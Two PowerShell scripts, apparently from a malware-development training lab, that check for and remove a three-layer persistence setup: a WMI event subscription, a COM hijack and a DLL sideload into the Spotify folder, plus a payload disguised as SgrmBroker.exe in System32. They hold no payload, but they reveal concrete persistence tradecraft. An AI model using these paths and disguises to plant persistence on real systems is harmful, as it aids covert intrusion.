# ADMIN PRIV ARE REQUIRED TO CLEANUP WMI AND SYSTEM32\WBEM\SgrmBroker.exe
# ==================================================================================================
if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
{
Write-Host "[!] Script must be run as Administrator" -ForegroundColor Red
Exit
}
# ==================================================================================================
# LAYER 1 - WMI PERSISTENCE
# ==================================================================================================
Write-Host "[*] Cleaning Layer 1 - WMI Persistence..." -ForegroundColor DarkCyan
$wmiFilter = Get-WMIObject -Namespace root\subscription -Class __EventFilter | Where-Object { $_.Name -eq "${objectPrefix}_Filter" }
if ($wmiFilter) {
$wmiFilter | ForEach-Object {
$_ | Remove-WMIObject
Write-Host "[+] Removed WMI Event Filter: $($_.Name)" -ForegroundColor Green
}
} else {
Write-Host "[i] Already Cleaned Up: WMI Event Filter" -ForegroundColor Yellow
}
$wmiConsumer = Get-WMIObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Where-Object { $_.Name -eq "${objectPrefix}_Consumer" }
if ($wmiConsumer) {
$wmiConsumer | ForEach-Object {
$_ | Remove-WMIObject
Write-Host "[+] Removed WMI Event Consumer: $($_.Name)" -ForegroundColor Green
}
} else {
Write-Host "[i] Already Cleaned Up: WMI Event Consumer" -ForegroundColor Yellow
}
$wmiBinding = Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -like "*$objectPrefix*" }
if ($wmiBinding) {
$wmiBinding | ForEach-Object {
$_ | Remove-WMIObject
Write-Host "[+] Removed WMI Filter-Consumer Binding" -ForegroundColor Green
}
} else {
Write-Host "[i] Already Cleaned Up: WMI Filter-Consumer Binding" -ForegroundColor Yellow
}
# Only remove our specific EXE — do NOT delete the wbem directory
if (Test-Path $wmiExePath) {
Remove-Item -Path $wmiExePath -Force
Write-Host "[+] Removed WMI Executable: $wmiExePath" -ForegroundColor Green
} else {
Write-Host "[i] Already Cleaned Up: $wmiExePath" -ForegroundColor Yellow
}
# ==================================================================================================
# LAYER 2 - COM HIJACK
# ==================================================================================================
Write-Host "`n[*] Cleaning Layer 2 - DLL COM Hijack..." -ForegroundColor DarkCyan
if (Test-Path $comClsidKey) {
Remove-Item -Path $comClsidKey -Recurse -Force
Write-Host "[+] Removed COM Registry Key: $comClsidKey" -ForegroundColor Green
} else {
Write-Host "[i] Already Cleaned Up: $comClsidKey" -ForegroundColor Yellow
}
if (Test-Path $comDllDir) {
Get-ChildItem -Path $comDllDir -Recurse | ForEach-Object {
Write-Host "[+] Removing: $($_.FullName)" -ForegroundColor Green
}
Remove-Item -Path $comDllDir -Recurse -Force
Write-Host "[+] Removed COM DLL Directory: $comDllDir" -ForegroundColor Green
} else {
Write-Host "[i] Already Cleaned Up: $comDllDir" -ForegroundColor Yellow
}
# ==================================================================================================
# LAYER 3 - DLL SIDELOAD
# ==================================================================================================
Write-Host "`n[*] Cleaning Layer 3 - DLL Sideload..." -ForegroundColor DarkCyan
if (Test-Path "$spotifyDir\$sideloadDll") {
Remove-Item -Path "$spotifyDir\$sideloadDll" -Force
Write-Host "[+] Removed Sideload DLL: $spotifyDir\$sideloadDll" -ForegroundColor Green
} else {
Write-Host "[i] Already Cleaned Up: $spotifyDir\$sideloadDll" -ForegroundColor Yellow
}
if (Test-Path "$spotifyDir\$forwardDll") {
Remove-Item -Path "$spotifyDir\$forwardDll" -Force
Write-Host "[+] Removed Forward DLL: $spotifyDir\$forwardDll" -ForegroundColor Green
} else {
Write-Host "[i] Already Cleaned Up: $spotifyDir\$forwardDll" -ForegroundColor Yellow
}
# ==================================================================================================
# PAYLOAD CONFIGURATION
# ==================================================================================================
Write-Host "`n[*] Cleaning Payload Configuration..." -ForegroundColor DarkCyan
if (Test-Path $configKey) {
Remove-Item -Path $configKey -Recurse -Force
Write-Host "[+] Removed Configuration Registry Key: $configKey" -ForegroundColor Green
} else {
Write-Host "[i] Already Cleaned Up: $configKey" -ForegroundColor Yellow
}
Write-Host "`n[+] Cleanup Complete" -ForegroundColor DarkCyan
+148
View File
@@ -0,0 +1,148 @@
# ==================================================================================================
# VERIFY SCRIPT
# ==================================================================================================
$objectPrefix = "MaldevAcademy"
$wmiExeDir = "C:\Windows\System32\wbem"
$wmiExeName = "SgrmBroker.exe"
$wmiExePath = "$wmiExeDir\$wmiExeName"
$comDllDir = "$env:APPDATA\Microsoft\Common"
$comPayloadDll = "MsComHost.dll"
$comForwardDll = "Common.StateRepositoryRM.dll"
$spotifyDir = "$env:APPDATA\Spotify"
$sideloadDll = "dsound.dll"
$forwardDll = "dspatial.dll"
$comClsidKey = "HKCU:\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}"
$configKey = "HKCU:\Software\$objectPrefix\XXXX"
# ==================================================================================================
# LOCATE DUMPBIN.EXE
# ==================================================================================================
$dumpbin = Get-ChildItem -Path "C:\Program Files\Microsoft Visual Studio" -Recurse -Filter "dumpbin.exe" -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName
if ($dumpbin) {
Write-Host "[+] Found dumpbin.exe: $dumpbin`n" -ForegroundColor Green
} else {
Write-Host "[!] dumpbin.exe Not Found - Export Inspection Will Be Skipped" -ForegroundColor Red
}
# ==================================================================================================
# LAYER 1 - WMI PERSISTENCE
# ==================================================================================================
Write-Host "[*] Verifying Layer 1 - WMI Persistence..." -ForegroundColor DarkCyan
$wmiFilter = Get-WMIObject -Namespace root\subscription -Class __EventFilter | Where-Object { $_.Name -eq "${objectPrefix}_Filter" }
if ($wmiFilter) {
Write-Host "[+] WMI Event Filter Found: $($wmiFilter.Name)" -ForegroundColor Green
Write-Host " Query: $($wmiFilter.Query)" -ForegroundColor Gray
} else {
Write-Host "[-] WMI Event Filter Not Found" -ForegroundColor Yellow
}
$wmiConsumer = Get-WMIObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Where-Object { $_.Name -eq "${objectPrefix}_Consumer" }
if ($wmiConsumer) {
Write-Host "[+] WMI Event Consumer Found: $($wmiConsumer.Name)" -ForegroundColor Green
} else {
Write-Host "[-] WMI Event Consumer Not Found" -ForegroundColor Yellow
}
$wmiBinding = Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -like "*$objectPrefix*" }
if ($wmiBinding) {
Write-Host "[+] WMI Filter-Consumer Binding Found" -ForegroundColor Green
Write-Host " Filter: $($wmiBinding.Filter)" -ForegroundColor Gray
Write-Host " Consumer: $($wmiBinding.Consumer)" -ForegroundColor Gray
} else {
Write-Host "[-] WMI Filter-Consumer Binding Not Found" -ForegroundColor Yellow
}
if (Test-Path $wmiExePath) {
$wmiExeFile = Get-Item $wmiExePath
Write-Host "[+] WMI Executable Found: $wmiExePath [$([math]::Round($wmiExeFile.Length / 1KB, 1)) KB]" -ForegroundColor Green
Write-Host " CreationTime: $($wmiExeFile.CreationTime)" -ForegroundColor Gray
Write-Host " LastWriteTime: $($wmiExeFile.LastWriteTime)" -ForegroundColor Gray
} else {
Write-Host "[-] WMI Executable Not Found: $wmiExePath" -ForegroundColor Yellow
}
# ==================================================================================================
# LAYER 2 - COM HIJACK
# ==================================================================================================
Write-Host "`n[*] Verifying Layer 2 - DLL COM Hijack..." -ForegroundColor DarkCyan
if (Test-Path $comClsidKey) {
Write-Host "[+] COM CLSID Key Found: $comClsidKey" -ForegroundColor Green
$inprocKey = "$comClsidKey\InProcServer32"
if (Test-Path $inprocKey) {
$dllPath = (Get-ItemProperty -Path $inprocKey).'(default)'
$threadingModel = (Get-ItemProperty -Path $inprocKey).ThreadingModel
Write-Host " Default: $dllPath" -ForegroundColor Gray
Write-Host " ThreadingModel: $threadingModel" -ForegroundColor Gray
}
} else {
Write-Host "[-] COM CLSID Key Not Found" -ForegroundColor Yellow
}
if (Test-Path $comDllDir) {
Write-Host "[+] COM DLL Directory Found: $comDllDir" -ForegroundColor Green
Get-ChildItem -Path $comDllDir -Recurse | ForEach-Object {
Write-Host " $($_.FullName) [$([math]::Round($_.Length / 1KB, 1)) KB]" -ForegroundColor Gray
Write-Host " CreationTime: $($_.CreationTime)" -ForegroundColor DarkGray
Write-Host " LastWriteTime: $($_.LastWriteTime)" -ForegroundColor DarkGray
if ($dumpbin -and ($_.Name -eq $comPayloadDll -or $_.Name -eq $comForwardDll)) {
Write-Host " Exports:" -ForegroundColor DarkGray
& $dumpbin /exports $_.FullName 2>$null |
Where-Object { $_ -match "^\s+\d+\s" } |
ForEach-Object { Write-Host " $_" -ForegroundColor DarkGray }
}
}
} else {
Write-Host "[-] COM DLL Directory Not Found: $comDllDir" -ForegroundColor Yellow
}
# ==================================================================================================
# LAYER 3 - DLL SIDELOAD
# ==================================================================================================
Write-Host "`n[*] Verifying Layer 3 - DLL Sideload..." -ForegroundColor DarkCyan
foreach ($dll in @($sideloadDll, $forwardDll)) {
$fullPath = "$spotifyDir\$dll"
if (Test-Path $fullPath) {
$file = Get-Item $fullPath
Write-Host "[+] Found: $fullPath [$([math]::Round($file.Length / 1KB, 1)) KB]" -ForegroundColor Green
Write-Host " CreationTime: $($file.CreationTime)" -ForegroundColor DarkGray
Write-Host " LastWriteTime: $($file.LastWriteTime)" -ForegroundColor DarkGray
if ($dumpbin) {
Write-Host " Exports:" -ForegroundColor DarkGray
& $dumpbin /exports $fullPath 2>$null |
Where-Object { $_ -match "^\s+\d+\s" } |
ForEach-Object { Write-Host " $_" -ForegroundColor DarkGray }
}
} else {
Write-Host "[-] Not Found: $fullPath" -ForegroundColor Yellow
}
}
# ==================================================================================================
# PAYLOAD CONFIGURATION
# ==================================================================================================
Write-Host "`n[*] Verifying Payload Configuration..." -ForegroundColor DarkCyan
if (Test-Path $configKey) {
Write-Host "[+] Configuration Registry Key Found: $configKey" -ForegroundColor Green
Get-ItemProperty -Path $configKey | Select-Object -Property * -ExcludeProperty PS* | ForEach-Object {
$_.PSObject.Properties | ForEach-Object {
Write-Host " $($_.Name): $($_.Value) [0x$($_.Value.ToString('X8'))]" -ForegroundColor Gray
}
}
} else {
Write-Host "[-] Configuration Registry Key Not Found: $configKey" -ForegroundColor Yellow
}
Write-Host "`n[+] Verification Complete" -ForegroundColor DarkCyan